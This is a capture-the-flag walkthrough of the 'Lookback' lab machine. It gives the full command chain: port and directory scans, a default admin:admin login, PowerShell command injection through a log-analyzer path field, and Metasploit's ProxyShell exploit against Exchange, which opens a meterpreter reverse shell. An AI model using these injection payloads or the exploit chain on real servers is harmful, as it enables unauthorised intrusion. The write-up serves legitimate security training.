



Lookback

Instructions

The Lookback company has just started the integration with Active Directory. Due to the coming deadline, the system integrator had to rush the deployment of the environment. Can you spot any vulnerabilities?

Start the Virtual Machine by pressing the Start Machine button at the top of this task. You may access the VM using the AttackBox or your VPN connection. This machine does not respond to ping (ICMP).

Can you find all the flags?

The VM takes about 5/10 minutes to fully boot up.

Sometimes to move forward, we have to go backward.

So if you get stuck, try to look back!

Enumeration

Network

```
(kali@kali)-[~]
└─$ sudo nmap -p- --min-rate 5000 -Pn 10.10.107.161
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-26 00:43 EDT
Nmap scan report for 10.10.107.161
Host is up (0.19s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT      STATE SERVICE
80/tcp    open  http
443/tcp   open  https
3389/tcp  open  ms-wbt-server

Nmap done: 1 IP address (1 host up) scanned in 26.62 seconds
```

```
(kali@kali)-[~]
└─$ sudo nmap -sC -sV -A -T4 -Pn -p 80,443,3389 10.10.107.161
[sudo] password for kali:
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-26 00:44 EDT
Nmap scan report for 10.10.107.161
Host is up (0.19s latency).

PORT      STATE SERVICE      VERSION
80/tcp    open  http        Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title.
443/tcp   open  ssl/https
|_http-server-header: Microsoft-IIS/10.0
| ssl-cert: Subject: commonName=WIN-120U07A66M7
| Subject Alternative Name: DNS:WIN-120U07A66M7, DNS:WIN-120U07A66M7.thm.local
| Not valid before: 2023-01-25T21:34:02
|_Not valid after: 2028-01-25T21:34:02
3389/tcp  open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=WIN-120U07A66M7.thm.local
| Not valid before: 2023-07-25T04:35:33
```

```

|_Not valid after: 2024-01-24T04:35:33
| rdp-ntlm-info:
|   Target_Name: THM
|   NetBIOS_Domain_Name: THM
|   NetBIOS_Computer_Name: WIN-120U07A66M7
|   DNS_Domain_Name: thm.local
|   DNS_Computer_Name: WIN-120U07A66M7.thm.local
|   DNS_Tree_Name: thm.local
|   Product_Version: 10.0.17763
|_ System_Time: 2023-07-26T04:47:31+00:00
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: specialized|general purpose
Running (JUST GUESSING): AVtech embedded (87%), Microsoft Windows XP (85%)
OS CPE: cpe:/o:microsoft:windows_xp::sp3
Aggressive OS guesses: AVtech Room Alert 26W environmental monitor (87%), Microsoft Windows XP SP3 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows


Host script results:
|_clock-skew: 2m23s

TRACEROUTE (using port 3389/tcp)
HOP RTT ADDRESS
1 186.27 ms 10.8.0.1
2 186.58 ms 10.10.107.161


OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 59.67 seconds

```

Web



Click **Accept the Risk and Continue**




Use `nikto` to scan the host

```
(kali@kali)-[~]
└─$ nikto -host http://10.10.107.161
- Nikto v2.5.0

-----
+ Target IP:          10.10.107.161
+ Target Hostname:    10.10.107.161
+ Target Port:        80
+ Start Time:         2023-07-26 01:03:40 (GMT-4)
-----

+ Server: Microsoft-IIS/10.0
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ [[A^[[A^[[A+ All CGI directories 'found', use '-C none' to test none
+ /Autodiscover/Autodiscover.xml: Retrieved x-powered-by header: ASP.NET.
+ /Autodiscover/Autodiscover.xml: Uncommon header 'x-feserver' found, with contents: WIN-120U07A66M7.
+ /Rpc: Uncommon header 'request-id' found, with contents: 68a1080c-4323-4652-9158-035eaae224dc.
+ /Rpc: Default account found for '' at (ID 'admin', PW 'admin'). Generic account discovered.. See: CWE-16
```

Use the above creds to login



Oops! It's look like we cannot exploit anything here. Get back and scan the directories


```
(kali@kali)-[~/SublimeText]
└─$ gobuster dir -w /usr/share/wfuzz/wordlist/Dirs/directory-list-2.3-medium.txt --no-error -t 40 -u https://10.10.107.161/ -k --exclude-length 0
=====
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url:             https://10.10.107.161/
[+] Method:          GET
[+] Threads:         40
[+] Wordlist:         /usr/share/wfuzz/wordlist/Dirs/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length:  0
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
=====
2023/07/26 01:10:45 Starting gobuster in directory enumeration mode
=====
/test                (Status: 401) [Size: 1293]
/*checkout*         (Status: 400) [Size: 3490]
/Test               (Status: 401) [Size: 1293]
/owa                (Status: 302) [Size: 209] [-> https://10.10.107.161/owa/auth/logon.aspx?url=https%3a%2f%2f10.10.107.161%2fowa&reas
on=0]
/*docroot*          (Status: 400) [Size: 3490]
/*                  (Status: 400) [Size: 3490]
/http%3A%2F%2Fwww   (Status: 400) [Size: 3490]
/http%3A            (Status: 400) [Size: 3490]
/q%26a              (Status: 400) [Size: 3490]
/*http%3a           (Status: 400) [Size: 3490]
/*http%3A           (Status: 400) [Size: 3490]
/ecp                (Status: 302) [Size: 209] [-> https://10.10.107.161/owa/auth/logon.aspx?url=https%3a%2f%2f10.10.107.161%2fecp&reas
on=0]
/*http%3A           (Status: 400) [Size: 3490]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 3490]
/http%3A%2F%2Fblogs  (Status: 400) [Size: 3490]
/http%3A%2F%2Fblog   (Status: 400) [Size: 3490]
/*http%3A%2F%2Fwww   (Status: 400) [Size: 3490]
/s%26p              (Status: 400) [Size: 3490]
/%3FRID%3D2671      (Status: 400) [Size: 3490]
/devinmoore*        (Status: 400) [Size: 3490]
/27079%5Fclassicpeople2%2Ejpg (Status: 302) [Size: 146] [-> /owa/27079_classicpeople2.jpg]
/children%2527s_tent (Status: 400) [Size: 3490]
/tiki%2Epng         (Status: 302) [Size: 130] [-> /owa/tiki.png]
```

```


/200109* (Status: 400) [Size: 3490]
/*dc_ (Status: 400) [Size: 3490]
/*sa_ (Status: 400) [Size: 3490]
/squishdot_rss10%2Etxt (Status: 302) [Size: 141] [--> /owa/squishdot_rss10.txt]
/b33p%2Ehtml (Status: 302) [Size: 131] [--> /owa/b33p.html]
/help%2523drupal (Status: 400) [Size: 3490]
/http%3A%2F%2Fcommunity (Status: 400) [Size: 3490]
/Clinton%20Sparks%20%26%20Diddy%20-%20Dont%20Call%20It%20A%20Comeback%28RuZty%29 (Status: 400) [Size: 3490]
/Chamillionaire%20%26%20Paul%20Wall-%20Get%20Ya%20Mind%20Correct (Status: 400) [Size: 3490]
/DJ%20Haze%20%26%20The%20Game%20-%20New%20Blood%20Series%20Pt (Status: 400) [Size: 3490]
/http%3A%2F%2Fradar (Status: 400) [Size: 3490]
/q%26a2 (Status: 400) [Size: 3490]
/login%3f (Status: 400) [Size: 3490]
/Shakira%20Oral%20Fixation%201%20%26%202 (Status: 400) [Size: 3490]
/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 3490]
/http%3A%2F%2Fweblog (Status: 400) [Size: 3490]
/http%3A%2F%2Fswik (Status: 400) [Size: 3490]
Progress: 220560 / 220561 (100.00%)
=====
2023/07/26 01:29:25 Finished
=====

```

Choose the path of the result which is `/test`



Click on the **Accept the Risk and Continue** button, a pop-up window appears and requires a creds to access. Use the previous one to login (`admin` : `admin`)



This interface should be removed on production!

THM{Security_Through_Obscurity_Is_Not_A_Defense}

LOG ANALYZER

Path:

The first flag is here!

Exploit

The **LOG ANALYZER** looks like an application to take the input as **path** and display its content. By default, it is displaying the content of **BitlockerActiveMonitoringLogs**

LOG ANALYZER

Path:

List generated at 4:37:59 AM.

Try a random input string and the response content is an error message:

LOG ANALYZER

Path:

Run

```
Get-Content : Cannot find path 'C:\test' because it does not exist.
At line:1 char:1
+ Get-Content('C:\test')
+ ~~~~~
+ CategoryInfo          : ObjectNotFound: (C:\test:String) [Get-Content], ItemNotFoundException
+ FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.GetContentCommand
```

As expect, the work-flow is similar to what we thought. The application read the input at **Path** field and parse it into the `Get-Content()` function at directory `C:/`, then return the value.

Try to input another legit path which is an update log file of windows:

LOG ANALYZER

Path:

Run

Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.

For more information, please visit <https://go.microsoft.com/fwlink/?LinkId=518345>

It worked correctly!

It's time to use some trick which injects the input data:

LOG ANALYZER

Path:

Run

Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.

For more information, please visit <https://go.microsoft.com/fwlink/?LinkId=518345>
thm\admin

- `'`: to close the bracket of `Get-Content('C:/{INPUT_PATH}`
- `;`: semi-colon is used to concatenate the current command with another one
- `whoami`: command that we want to execute
- `#`: set the following command as comment which would not be executed and would not return errors

The return value is placed at the last line: `thm\admin` → The injection was successful

Next, keep enumerating the directories to looking for the **user flag**

LOG ANALYZER

Path:

Run

Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.

For more information, please visit <https://go.microsoft.com/fwlink/?LinkId=518345>

Directory: C:\Users

Mode	LastWriteTime	Length	Name
d----	1/25/2023 12:54 PM		.NET v4.5
d----	1/25/2023 12:54 PM		.NET v4.5 Classic
d----	3/21/2023 11:40 AM		Administrator
d----	2/21/2023 12:31 AM		dev
d-r--	1/25/2023 8:15 PM		Public

```
Windows\WindowsUpdate.log'); dir ..\..\..\Users\dev\Desktop #
```

LOG ANALYZER

Path:

Run

Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.

For more information, please visit <https://go.microsoft.com/fwlink/?LinkId=518345>

Directory: C:\Users\dev\Desktop

Mode	LastWriteTime	Length	Name
-a----	3/21/2023 12:28 PM	512	TODO.txt
-a----	2/12/2023 11:53 AM	29	user.txt

```
Windows\WindowsUpdate.log'); more ..\..\..\Users\dev\Desktop\user.txt #
```

LOG ANALYZER

Path:

Run

Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.

For more information, please visit <https://go.microsoft.com/fwlink/?LinkId=518345>
THM{Stop_Reading_Start_Doing}

The **user flag** is placed at `C:\Users\dev\Desktop\user.txt`

Privilege Escalation

In the same directory, the file **TODO.txt** might contain hints for us to continue exploiting

TODO.txt

LOG ANALYZER

Path:

Run

Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.

For more information, please visit <https://go.microsoft.com/fwlink/?LinkId=518345>
Hey dev team,

This is the tasks list for the deadline:

```
Promote Server to Domain Controller [DONE]
Setup Microsoft Exchange [DONE]
Setup IIS [DONE]
Remove the log analyzer[TO BE DONE]
Add all the users from the infra department [TO BE DONE]
Install the Security Update for MS Exchange [TO BE DONE]
Setup LAPS [TO BE DONE]
```

When you are done with the tasks please send an email to:

```
joe@thm.local
carol@thm.local
and do not forget to put in CC the infra team!
dev-infrastructure-team@thm.local
```

Focus on the line `Install the Security Update for MS Exchange [TO BE DONE]` → This is not the **DONE** task → The **MS Exchange** might be out-of-date and could be vulnerable.

This [page](#) contains the information of:

- **Command** to view the version of the **MS Exchange** (Microsoft Exchange Server)
- Get the **Product name** of each version

LOG ANALYZER

Path:

Run

Windows Update logs are now generated using ETW (Event Tracing for Windows).
Please run the Get-WindowsUpdateLog PowerShell command to convert ETW traces into a readable WindowsUpdate.log.

For more information, please visit <https://go.microsoft.com/fwlink/?LinkId=518345>

ProductVersion	FileVersion	FileName
15.02.0858.005	15.02.0858.005	C:\Program Files\Microsoft\Exchange Server\V15\bin\ExSetup.exe

Exchange Server 2019 CU9	March 16, 2021	15.2.858.5	15.02.0858.005
--------------------------	----------------	------------	----------------

Now we have 2 necessary information about this service. Use **metasploit** to find the compatible module to exploit this service.

```
msf6 > search "Microsoft Exchange RCE"

Matching Modules
=====

#  Name                                                                 Disclosure Date  Rank    Check  Description
-  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
0  auxiliary/scanner/http/exchange_web_server_pushsubscription 2019-01-21     normal No      Microsoft Exchange Privilege Escalation Exploit
1  exploit/windows/http/exchange_proxylogon_rce                 2021-03-02     excellent Yes     Microsoft Exchange ProxyLogon RCE
2  exploit/windows/http/exchange_proxyshell_rce                 2021-04-06     excellent Yes     Microsoft Exchange ProxyShell RCE
3  exploit/windows/http/exchange_chainedserializationbinder_rce 2021-12-09     excellent Yes     Microsoft Exchange Server ChainedSerializationBinder RCE
4  exploit/windows/http/exchange_ecp_dlp_policy                  2021-01-12     excellent Yes     Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE
```

There are 2 modules that could be used in this situation → Type **info** to view their details:

exploit/windows/http/exchange_proxylogon_rce

Description:

This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication, impersonating as the admin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, Exchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, Exchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). All components are vulnerable by default.

exploit/windows/http/exchange_proxyshell_rce

Description:

This module exploits a vulnerability on Microsoft Exchange Server that allows an attacker to bypass the authentication (CVE-2021-31207), impersonate an arbitrary user (CVE-2021-34523) and write an arbitrary file (CVE-2021-34473) to achieve the RCE (Remote Code Execution). By taking advantage of this vulnerability, you can execute arbitrary commands on the remote Microsoft Exchange Server. This vulnerability affects Exchange 2013 CU23 < 15.0.1497.15, Exchange 2016 CU19 < 15.1.2176.12, Exchange 2016 CU20 < 15.1.2242.5, Exchange 2019 CU8 < 15.2.792.13, Exchange 2019 CU9 < 15.2.858.9. All components are vulnerable by default.

Notice on the **affected version** from 2 descriptions: Only the second module can affect the current target version which is `Exchange 2019 CU9 < 15.2.858.9` while our target version is `15.02.0858.005`.

Use the module and set the options as below:

```
msf6 exploit(windows/http/exchange_proxyshell_rce) > show options

Module options (exploit/windows/http/exchange_proxyshell_rce):

  Name          Current Setting      Required  Description
  ----          -
  EMAIL          dev-infrastructure-team@thm.local  no        A known email address for this organization
  Proxies         no                    no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS          10.10.107.161         yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
  RPORT           443                   yes       The target port (TCP)
  SRVHOST          0.0.0.0               yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
  SRVPORT          8080                  yes       The local port to listen on.
  SSL              true                  no        Negotiate SSL/TLS for outgoing connections
  SSLCert          no                    no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH          no                    no        The URI to use for this exploit (default is random)
  UseAlternatePath false                 yes       Use the IIS root dir as alternate path
  VHOST            no                    no        HTTP server virtual host

Payload options (windows/x64/meterpreter/reverse_tcp):

  Name          Current Setting  Required  Description
  ----          -
  EXITFUNC      process          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST          10.8.97.213      yes       The listen address (an interface may be specified)
  LPORT          4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Windows Powershell

View the full module info with the info, or info -d command.
```

Type `exploit` or `run` to start the process:

```
msf6 exploit(windows/http/exchange_proxyshell_rce) > exploit

[*] Started reverse TCP handler on 10.8.97.213:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Attempt to exploit for CVE-2021-34473
[*] Retrieving backend FQDN over RPC request
[*] Internal server name: win-120uo7a66m7.thm.local
[*] Assigning the 'Mailbox Import Export' role via dev-infrastructure-team@thm.local
[*] Successfully assigned the 'Mailbox Import Export' role
[+] Proceeding with SID: S-1-5-21-2402911436-1669601961-3356949615-1144 (dev-infrastructure-team@thm.local)
[*] Saving a draft email with subject 'BBqp8NFdc0e' containing the attachment with the embedded webshell
[*] Writing to: C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\5mm7yoxmQgT.aspx
[*] Waiting for the export request to complete...
[+] The mailbox export request has completed
[*] Triggering the payload
[*] Sending stage (200774 bytes) to 10.10.197.52
[*] Deleted C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\5mm7yoxmQgT.aspx
[*] Meterpreter session 1 opened (10.8.97.213:4444 -> 10.10.197.52:8568) at 2023-07-26 04:47:54 -0400
[*] Removing the mailbox export request
[*] Removing the draft email

meterpreter > sysinfo
Computer      : WIN-120U07A66M7
OS            : Windows 2016+ (10.0 Build 17763).
Architecture : x64
System Language : en_US
Domain        : THM
Logged On Users : 11
```

```
Meterpreter      : x64/windows
```

```
meterpreter >
```

OK! We are in!

Get around and find the **root flag**

```
meterpreter > cd C:/Users/Administrator/Desktop
```

```
meterpreter > ls
```

```
Listing: C:\Users\Administrator\Desktop
```

```
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100666/rw-rw-rw-	282	fil	2023-01-25 23:15:14 -0500	desktop.ini

```
meterpreter > cd Documents
```

```
meterpreter > ls
```

```
Listing: c:\Users\Administrator\Documents
```

```
=====
```

Mode	Size	Type	Last modified	Name
----	----	----	-----	----
100666/rw-rw-rw-	2232	fil	2023-01-26 16:16:32 -0500	Default.rdp
040777/rwxrwxrwx	0	dir	2023-01-25 23:15:09 -0500	My Music
040777/rwxrwxrwx	0	dir	2023-01-25 23:15:09 -0500	My Pictures
040777/rwxrwxrwx	0	dir	2023-01-25 23:15:09 -0500	My Videos
100666/rw-rw-rw-	402	fil	2023-01-25 23:15:14 -0500	desktop.ini
100666/rw-rw-rw-	35	fil	2023-02-12 14:57:18 -0500	flag.txt

```
meterpreter > cat flag.txt
```

```
THM{Looking_Back_Is_Not_Always_Bad}
```